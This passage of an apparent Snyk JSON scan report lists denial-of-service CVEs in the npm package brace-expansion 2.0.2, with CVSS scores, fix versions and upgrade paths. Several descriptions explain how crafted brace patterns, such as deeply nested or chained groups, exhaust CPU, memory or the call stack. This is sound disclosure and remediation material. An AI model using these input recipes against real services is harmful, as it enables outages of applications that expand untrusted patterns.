Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
